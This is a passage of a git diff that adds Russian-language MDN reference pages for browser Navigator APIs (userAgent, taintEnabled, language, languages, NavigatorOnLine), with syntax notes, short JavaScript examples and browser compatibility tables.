+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-navigator-product', 'NavigatorID.product')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Действующее описание</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Доступность_в_браузере">Доступность в браузере</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Для Web Workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(28)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td> Для Web Workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(28)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("NavigatorID.appCodeName")}}</li>
+</ul>
diff --git a/files/ru/web/api/navigatorid/taintenabled/index.html b/files/ru/web/api/navigatorid/taintenabled/index.html
new file mode 100644
index 0000000000..1d7b8a1698
--- /dev/null
+++ b/files/ru/web/api/navigatorid/taintenabled/index.html
@@ -0,0 +1,52 @@
+---
+title: NavigatorID.taintEnabled()
+slug: Web/API/NavigatorID/taintEnabled
+translation_of: Web/API/NavigatorID/taintEnabled
+---
+<div>{{APIRef("HTML DOM")}}{{deprecated_header}}</div>
+
+<p>Метод<code><strong> </strong></code><strong><code>NavigatorID.taintEnabled()</code></strong> всегда возвращает <code>false</code>.</p>
+
+<div class="note"><span id="result_box" lang="ru"><strong><span class="hps">Примечание</span><span>:</span></strong> </span>Taint <span lang="ru"><span class="hps">был</span> <span class="hps">метод защиты</span> <span class="hps">используемый в</span> <span class="hps">JavaScript 1.2</span><span>.</span> <span class="hps">Он давно</span> <span class="hps">был удален</span><span>;</span> <span class="hps">этот метод</span> <span class="hps">остается</span> <span class="hps">только</span> <span class="hps">для поддержания</span> <span class="hps">совместимости</span> <span class="hps">с очень</span> <span class="hps">старыми скриптами</span><span>.</span></span></div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em><var>result</var></em> = window.navigator.taintEnabled()
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">alert(window.navigator.taintEnabled());
+// returns false
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webappapis.html#dom-navigator-taintEnabled', 'NavigatorID.taintEnabled')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Изначальное описание</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Доступность_в_браузере">Доступность в браузере</h2>
+
+
+
+<p>{{Compat("api.NavigatorID.taintEnabled")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("NavigatorID")}}</li>
+</ul>
diff --git a/files/ru/web/api/navigatorid/useragent/index.html b/files/ru/web/api/navigatorid/useragent/index.html
new file mode 100644
index 0000000000..57654d7e50
--- /dev/null
+++ b/files/ru/web/api/navigatorid/useragent/index.html
@@ -0,0 +1,124 @@
+---
+title: NavigatorID.userAgent
+slug: Web/API/NavigatorID/userAgent
+translation_of: Web/API/NavigatorID/userAgent
+---
+<p>{{ApiRef("HTML DOM")}}</p>
+
+<p>Возвращает строку агента пользователя текущего браузера.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>ua</var> = window.navigator.userAgent;
+</pre>
+
+<h3 id="Value" name="Value">Значение</h3>
+
+<p><span id="result_box" lang="ru"><code><span class="hps">ua</span></code> <span class="hps">хранит</span> <span class="hps">строковое значение</span> <span class="hps">агента пользователя</span> <span class="hps">для текущего</span> <span class="hps">браузера</span><span>.</span></span></p>
+
+<p>Свойство window.navigator.userAgent для чтения и записи; оно не имеет значения по умолчанию.</p>
+
+<p>Строка пользовательского агента основана на формальной структуре, которая может быть разложена на несколько кусков информации. Каждый из этих кусков информации происходит от других свойств navigator, которые также устанавливаются пользователем. Браузеры, основанные на Gecko, подчиняются следующей структуре:</p>
+
+<pre>userAgent = appCodeName/appVersion number (Platform; Security; OS-or-CPU;
+Localization; rv: revision-version-number) product/productSub
+Application-Name Application-Name-version
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">alert(window.navigator.userAgent)
+// alerts "Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010725 Netscape6/6.1"
+</pre>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<p><span id="result_box" lang="ru"><span class="hps">Идентификация</span> <span class="hps">браузера</span> <span class="hps">на основе</span> <span class="hps">обнаружения</span> <span class="hps">строки агента пользователя</span> <span class="hps">является <strong>ненадежной</strong></span> <span class="hps">и <strong>не</strong></span><strong> </strong><span class="hps"><strong><strong>рекомендуется</strong>,</strong> так как строка</span> <span class="hps">пользователь</span><span class="hps">ского агента</span> <span class="hps">может быть изменена пользователем</span><span>.</span></span> Например:</p>
+
+<ul>
+ <li>В Firefox, вы можете изменить предпочтение {{pref("general.useragent.override")}} в <code>about:config</code>. Некоторые расширения делают это; Однако это изменяет только отправляемый заголовок HTTP, и не влияет на обнаружение браузера выполняемым кодом JavaScript.</li>
+ <li>Opera 6+ позволяет пользователю установить идентификационную строку с помощью меню.</li>
+ <li>Microsoft Internet Explorer использует реестр Windows.</li>
+ <li>Safari и iCab позволяет пользователю изменить строку пользовательского агента заранее на Internet Explorer или Netscape с помощью меню.</li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-navigator-useragent', 'NavigatorID.userAgent')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Начальное описание</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Доступность_в_браузере">Доступность в браузере</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Gecko_user_agent_string_reference">Справка по строкам User Agent в Firefox</a></li>
+ <li><a href="/en-US/docs/Using_Web_Standards_in_your_Web_Pages/Developing_cross-browser_and_cross-platform_pages" title="Using_Web_Standards_in_your_Web_Pages/Developing_cross-browser_and_cross-platform_pages">Идентификация браузера (сниффинг браузера) — не лучший и не надёжный способ</a></li>
+ <li><a href="/en-US/docs/Browser_Detection_and_Cross_Browser_Support#Limit_the_use_of_User_Agent_String_based_Detection" title="Browser_Detection_and_Cross_Browser_Support#Limit_the_use_of_User_Agent_String_based_Detection">Ограничивайте распознавания по строке User Agent</a></li>
+ <li><a href="/en-US/docs/Browser_Detection_and_Cross_Browser_Support#Use_feature_oriented_object_detection" title="Browser_Detection_and_Cross_Browser_Support#Use_feature_oriented_object_detection">Использование особенностей объектов обнаружения</a></li>
+ <li><a href="http://www.gtalbot.org/DHTMLSection/ListAllAttributesAndMethodsOfObjects.html">Интерактивное крос-браузерное демо по свойствам навигатора</a></li>
+</ul>
diff --git a/files/ru/web/api/navigatorlanguage/index.html b/files/ru/web/api/navigatorlanguage/index.html
new file mode 100644
index 0000000000..0a5a5340e6
--- /dev/null
+++ b/files/ru/web/api/navigatorlanguage/index.html
@@ -0,0 +1,141 @@
+---
+title: NavigatorLanguage
+slug: Web/API/NavigatorLanguage
+translation_of: Web/API/NavigatorLanguage
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p><span id="result_box" lang="ru"><strong><code><span class="hps">NavigatorLanguage</span></code></strong> <span class="hps">содержит методы и</span> <span class="hps">свойства, связанные</span> <span class="hps">с языком</span> <span class="hps">навигатора</span><span>.</span></span></p>
+
+<p>В нем нет объекта типа <code>NavigatorLanguage</code>, но другие интерфейсы, такие как {{domxref("Navigator")}} или {{domxref("WorkerNavigator")}}, реализуют его.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Интерфейс<code> NavigatorLanguage</code></em><em> не наследует других свойств.</em></p>
+
+<dl>
+ <dt>{{domxref("NavigatorLanguage.language")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}} представлящий собой предпочитаемый язык пользователя, как правило, язык пользовательского интерфейса браузера.</dd>
+ <dt>{{domxref("NavigatorLanguage.languages")}} {{readonlyInline}}</dt>
+ <dd>Возвращает массив {{domxref("DOMString")}} представляющий собой языки известные пользователю в порядке предпочтения.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Интерфейс </em><em><code>NavigatorLanguage</code></em><em> ничего не реализовывает и ничего не наследует.</em></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#navigatorlanguage', 'NavigatorLanguage')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Со времени последнего снимка {{SpecName('HTML5 W3C')}}, языковое свойство было добавлено.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#navigatorlanguage', 'NavigatorLanguage')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Первоначальная спецификация; снимок ранней версии {{SpecName('HTML WHATWG')}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Доступность_в_браузерах">Доступность в браузерах</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>Языки</code></td>
+   <td>37</td>
+   <td>{{CompatGeckoDesktop("32")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>24</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>on {{domxref("WorkerNavigator")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("35")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>Языки</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}} </td>
+   <td>{{CompatGeckoMobile("32")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>on {{domxref("WorkerNavigator")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("35")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс {{domxref("Navigator")}} который реализует его.</li>
+</ul>
diff --git a/files/ru/web/api/navigatorlanguage/language/index.html b/files/ru/web/api/navigatorlanguage/language/index.html
new file mode 100644
index 0000000000..4ad6500fb0
--- /dev/null
+++ b/files/ru/web/api/navigatorlanguage/language/index.html
@@ -0,0 +1,138 @@
+---
+title: NavigatorLanguage.language
+slug: Web/API/NavigatorLanguage/language
+translation_of: Web/API/NavigatorLanguage/language
+---
+<p>{{ APIRef("HTML DOM") }}</p>
+
+<p><span id="result_box" lang="ru"><span>Свойство <code><strong>NavigatorLanguage.language</strong></code></span> <span class="hps">только для чтения, оно</span> <span class="hps">возвращает</span> <span class="hps">строку, представляющую</span> <span class="hps">предпочтитаемый</span> <span class="hps">пользователем язык</span><span>, как правило это</span><span class="hps"> язык</span> <span class="hps">пользовательского интерфейса</span> <span class="hps">браузера</span><span>.</span></span></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval"><em>lang</em> = <em>globalObj</em>.navigator.language
+</pre>
+
+<h3 id="Parameters" name="Parameters">Значение</h3>
+
+<p>Строка представляющая версию языка которая определена в <a class="external" href="http://tools.ietf.org/html/rfc4646" title="http://tools.ietf.org/html/rfc4646">RFC 4646</a>. <span id="result_box" lang="ru"><span class="hps">Пример</span>ы <span class="hps">валидных</span> языковых кодов <span class="hps">включают </span><span class="atn hps">"</span><span>en</span><span>"</span><span>,</span> <span class="atn hps">"</span><span>EN-US</span><span>"</span><span>,</span> <span class="hps">"FR</span><span class="atn">", "</span><span>es</span><span>-ES"</span> <span class="hps">и т.д.</span></span></p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">if ( window.navigator.language.slice(0, 2) !== "en" ) {
+ doLangSelect(window.navigator.language);
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML5 Web application', '#dom-navigator-language', 'navigator.language') }}</td>
+   <td>{{ Spec2('HTML5.1') }}</td>
+   <td>Начальное описание.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Доступность_в_браузерах">Доступность в браузерах</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>
+    <p>{{ CompatVersionUnknown() }}</p>
+
+    <p>Возвращает язык пользовательского интерфейса, но не значение<span style="line-height: 1.5;"> </span><code style="font-size: 12px;">Accept-Language</code><span style="line-height: 1.5;"> </span><a href="/en/HTTP/Headers" style="line-height: 1.5;" title="en/HTTP/Headers">HTTP header</a><span style="line-height: 1.5;">.</span></p>
+   </td>
+   <td>
+    <p>{{ CompatGeckoDesktop(1.0) }}</p>
+
+    <p>До Gecko 2.0 {{ geckoRelease("2.0") }}, значение этого свойства было частью строки пользовательского агента, таким как передает {{ domxref("window.navigator.userAgent", "navigator.userAgent") }}.</p>
+
+    <p>Начиная с Gecko 5.0 {{ geckoRelease("5.0") }}, значение этого свойства основыванно на значении <code>Accept-Language</code> <a href="/en/HTTP/Headers" title="en/HTTP/Headers">HTTP header</a>.</p>
+   </td>
+   <td>
+    <p><span style="font-size: 12px; line-height: 18px;">11.0</span></p>
+
+    <p>Ближайщее доступное(не стандартиризованное) свойство<a href="http://msdn.microsoft.com/en-us/library/ie/ms534713.aspx" title="http://msdn.microsoft.com/en-us/library/ie/ms534713.aspx">userLanguage</a> и <a href="http://msdn.microsoft.com/en-us/library/ie/ms533542.aspx" title="http://msdn.microsoft.com/en-us/library/ie/ms533542.aspx">browserLanguage</a>.</p>
+   </td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>on {{domxref("WorkerNavigator")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>
+    <p>{{CompatGeckoDesktop("35")}}</p>
+   </td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoMobile(1.0) }}</td>
+   <td>
+    <p>{{ CompatNo() }}</p>
+
+    <p>Ближайщее доступное(не стандартиризованное) свойство <a href="http://msdn.microsoft.com/en-us/library/ie/ms534713.aspx" title="http://msdn.microsoft.com/en-us/library/ie/ms534713.aspx">userLanguage</a> и <a href="http://msdn.microsoft.com/en-us/library/ie/ms533542.aspx" title="http://msdn.microsoft.com/en-us/library/ie/ms533542.aspx">browserLanguage</a>.</p>
+   </td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>on {{domxref("WorkerNavigator")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>
+    <p>{{CompatGeckoDesktop("35")}}</p>
+   </td>
+   <td>
+    <p>{{ CompatNo() }}</p>
+   </td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("NavigatorLanguage.languages","navigator.languages")}}</li>
+ <li>{{domxref("navigator")}}</li>
+</ul>
diff --git a/files/ru/web/api/navigatorlanguage/languages/index.html b/files/ru/web/api/navigatorlanguage/languages/index.html
new file mode 100644
index 0000000000..560874e85d
--- /dev/null
+++ b/files/ru/web/api/navigatorlanguage/languages/index.html
@@ -0,0 +1,118 @@
+---
+title: NavigatorLanguage.languages
+slug: Web/API/NavigatorLanguage/languages
+translation_of: Web/API/NavigatorLanguage/languages
+---
+<p>{{APIRef("HTML DOM")}}{{SeeCompatTable}}</p>
+
+<p>Свойство <code><strong>NavigatorLanguage.languages</strong></code> только для чтения, возвращающее массив {{domxref("DOMString")}} показывающее предпочитаемые пользователем языки. language описывает использование языковых тегов <a href="http://tools.ietf.org/html/bcp47">BCP 47</a>.<span id="result_box" lang="ru"><span class="hps"> В</span> <span class="hps">возвращаемом</span> <span class="hps">массиве</span> <span class="hps">они</span> <span class="hps">отсортированы по</span> <span class="hps">предпочтению с</span> <span class="hps">наиболее предпочтитаемым</span> <span class="hps">языком</span> <span class="hps">в первую очередь.</span></span></p>
+
+<p>Значение {{domxref("NavigatorLanguage.language","navigator.language")}} это первый элемент в полученном массиве.</p>
+
+<p>Когда значение изменится, так как изменится предпочитаемый язык пользователя {{event("languagechange")}} событие уведомит объект {{domxref("Window")}}.</p>
+
+<p>HTTP Заголовок <code>Accept-Language</code> в каждом HTTP запросе от браузера пользователя, использует такое же значение как и в свойстве <code>navigator.languages</code> кроме дополнительного<code> qvalues</code> (quality values) поля (например: <code>en-US;q=0.8</code>).</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>preferredLanguages</em> = <em>globalObj</em>.navigator.languages
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">navigator.language   //"en-US"
+navigator.languages  //["en-US", "zh-CN", "ja-JP"]
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML5.1', '#dom-navigator-languages', 'NavigatorLanguage.languages') }}</td>
+   <td>{{ Spec2('HTML5.1') }}</td>
+   <td>Начальное описание</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>32</td>
+   <td>{{ CompatGeckoDesktop("32") }} [1]</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>on Web workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("35")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatGeckoMobile("32") }}[1]</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>on Web workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("35")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1]В Firefox, the <code>navigator.languages</code> значение свойства берется из <code>intl.accept_languages</code> предписаний.</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("NavigatorLanguage.language","navigator.language")}}</li>
+ <li>{{domxref("Navigator")}}</li>
+ <li>{{domxref("Window.onlanguagechange")}}</li>
+</ul>
diff --git a/files/ru/web/api/navigatoronline/index.html b/files/ru/web/api/navigatoronline/index.html
new file mode 100644
index 0000000000..5274cf363f
--- /dev/null
+++ b/files/ru/web/api/navigatoronline/index.html
@@ -0,0 +1,122 @@
+---
+title: NavigatorOnLine
+slug: Web/API/NavigatorOnLine
+translation_of: Web/API/NavigatorOnLine
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>Интерфейс <code><strong>NavigatorOnLine</strong></code><code> </code>содержит методы и свойства<code>, </code>связанные со статусом подключения браузера.</p>
+
+<p>В NavigatorOnLine нет объектов другого типа, но другие интерфейсы, {{domxref("Navigator")}} или {{domxref("WorkerNavigator")}}, реализуют его.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p>Интерфейс<em><code> NavigatorOnLine</code></em> не наследует других свойств.</p>
+
+<dl>
+ <dt>{{domxref("NavigatorOnLine.onLine")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("Boolean")}}, показывающий работает ли браузер в сети.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Интерфейс </em><em><code>NavigatorOnLine</code></em><em> не имеет никакой реализации и не наследует никакой метод.</em></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#navigatoronline', 'NavigatorOnLine')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Без изменений с последнего снимка,{{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#navigatoronline', 'NavigatorOnLine')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Снимок {{SpecName('HTML WHATWG')}} с перврначальной спецификацией.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_в_браузерах">Совместимость в браузерах</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>on {{domxref("WorkerNavigator")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(29)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>on {{domxref("WorkerNavigator")}}</td>
+   <td>{{CompatUnknown}}</td>
